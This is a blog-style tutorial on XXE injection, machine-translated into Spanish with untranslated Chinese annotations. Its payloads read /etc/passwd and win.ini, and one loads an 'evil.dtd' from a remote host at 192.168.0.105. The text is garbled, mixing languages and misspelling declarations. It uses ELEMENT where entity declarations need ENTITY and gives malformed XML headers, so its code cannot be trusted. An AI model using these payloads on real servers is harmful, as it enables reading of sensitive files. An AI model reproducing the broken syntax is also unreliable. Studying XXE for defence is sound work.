XXE vulnerabilidad de inyección de entidad externa-conocimiento básico

Conocimiento basico

Hay muchas cosas que necesitan ser digeridas. El concepto es un poco confuso. La estructura básica de la carga útil y los archivos externos son casi entendidos. Todavía es necesario aprender otros principios.

Ambiente experimental

En libxml2.9.1 y versiones posteriores, las entidades externas no se resuelven de manera predeterminada. Durante la prueba, php5.2 (libxml Versión 2.7.7) y php5.3 (libxml Versión 2.7.8) se utilizaron en Windows. En Linux, necesita compilar la versión de libxml anterior a libxml2.9.1 en PHP. Puede usar phpinfo () para ver la información de la versión de libxml

Definición

XML se usa para marcar archivos electrónicos para tener un lenguaje de marcado estructurado, que se puede usar para marcar datos y definir tipos de datos. Es un lenguaje fuente que permite a los usuarios definir sus propios lenguajes de marcado.

		XML 文档结构
			包括 XML 声明
			DTD 文档类型定义(可选)
			文档元素

Estructura de documentos XML

		<?xml version=1.0” encoding="gb2312" encoding=UTF-8?> //xml 声明、版本、编码
		<!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件,格式为:root 指定根节点名称,system 声明要使用的外部 DTD 文件路径,后面加文件 URL,注意[]包裹。
		<!ELEMENT root (other)> // 元素声明,声明 xml 中包含的元素,声明中需要指定元素名称(root、other 等)和元素类别、内容等
		<!ELEMENT to (#PCDATA)> // <!--定义 to 元素为”#PCDATA”类型-->
		<!ELEMENT generalentity "content" > //ELEMENT 标签用于声明实体,关于实体的定义如下:“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义的变量,xml 解析器解析 xml 文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体 generalentity,内容为 content
		<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式
为:<!ELEMENT % 参数名称 参数内容>

Formato de referencia:% nombre del parámetro

Las entidades de parámetros solo se pueden referenciar en archivos DTD. Las referencias de parámetros en archivos DTD internos solo pueden aparecer donde pueden aparecer etiquetas DTD
. Las referencias a entidades de parámetros en archivos DTD externos se pueden derivar del contenido de etiquetas DTD, tales como:

<!ELEMENT % "%another">
		%extendentity; //引用参数外部实体

Conocimientos básicos de DTD

La definición de tipo de documento es la definición de tipo de documento utilizada para definir restricciones semánticas para documentos XML.
Se puede incrustar en un documento XML (declaración interna) o independientemente en un archivo (referencia externa). Debido a los tipos de datos limitados admitidos, es imposible especificar el contenido de elementos o atributos en detalle. La escalabilidad no es comparable al esquema XML.
Enlace de referencia: http://www.w3school.com.cn/dtd/index.asp

Estructura básica de CARGA

	开头 进行了 XML 的声明
<?xml version=1.0” encoding="gb2312" encoding=UTF-8?>
	然后使用 DTD 声明实体(这里使用了 file 协议)
<!DOCTYPE foo[
			<!ELEMENT  foo ANY>
			<!ELEMENT %  xxe SYSTEM  "file:///etc/passwd">]>
	最后使用 XML 获取实体的数据
<foo>&xxe;</foo>

Métodos de ataque usando entidades DTD

	DTD 引用方式(简要了解)
		1. DTD 内部声明
			<!DOCTYPE 根元素 [元素声明]>
		2. DTD 外部引用
			<!DOCTYPE 根元素名称 SYSTEM "外部 DTD 的 URI">
		3. 引用公共 DTD
			<!DOCTYPE 根元素名称 PUBLIC "DTD 标识名" "公用 DTD 的 URI">
	示例
?xml version="1.0"?>

Método de denominación:

Comenzando con! DOCTYPE, la configuración es el nombre del elemento raíz del documento;
PUBLIC significa DTD público; significa
organización no ISO;
mybatis.org significa organización;
DTD significa tipo;
Config significa etiqueta;
3.0 es el número de versión adjunto a la etiqueta;
EN significa DTD El idioma es el inglés,
finalmente la URL de la DTD;

Declaración de entidad DTD

Declaración de entidad interna

<!ENTITY 实体名称 "实体的值">
			一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在 GET 还是在 POST

La codificación de URL es necesaria en ambos, porque los parámetros se pasan al xml, y el ampersand se considerará como el
símbolo de conexión entre los parámetros , ejemplos

	<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>

Declaración de entidad externa

<!ENTITY 实体名称 SYSTEM "URI/URL">
			外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用

El acuerdo, el contenido específico es el siguiente

					示例
		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
		

Declaración de entidad de parámetro

<!ENTITY % 实体名称 "实体的值">

o

<! ENTITY% nombre de entidad SYSTEM "URI">
			示例
		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
					外部 evil.dtd 中的内容
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

Entidad pública de referencia

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
			示例
	<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID""http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
					外部 evil.dtd 中的内容
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

Introducción de categoría de entidad

	内置实体 (Built-in entities) 
	字符实体 (Character entities) 
	通用实体 (General entities) 
	参数实体 (Parameter entities)
		用%实体名称申明,引用时也用%实体名称;
			只能在 DTD 中申明,DTD 中引用;

Ejemplos

		内部实体
<!ENTITY 实体名称 "实体内容">
		外部实体
<!ENTITY 实体名称 SYSTEM "URI">
		参数实体
<!ENTITY % 实体名称 "实体内容">

O

<!ENTITY % 实体名称 "URI">

Nota : Se hace referencia a la entidad de parámetro en la DTD, mientras que al resto de las entidades se hace referencia en el documento XML. El
nombre de la entidad% se usa para la declaración, y el nombre de la entidad% también se usa como referencia;
solo se puede declarar en la DTD y se puede usar en el documento XML. Cita

117 artículos originales publicados · elogiados 11 · visitas 6465

Supongo que te gusta

Origin blog.csdn.net/weixin_43079958/article/details/105476366
Recomendado
Clasificación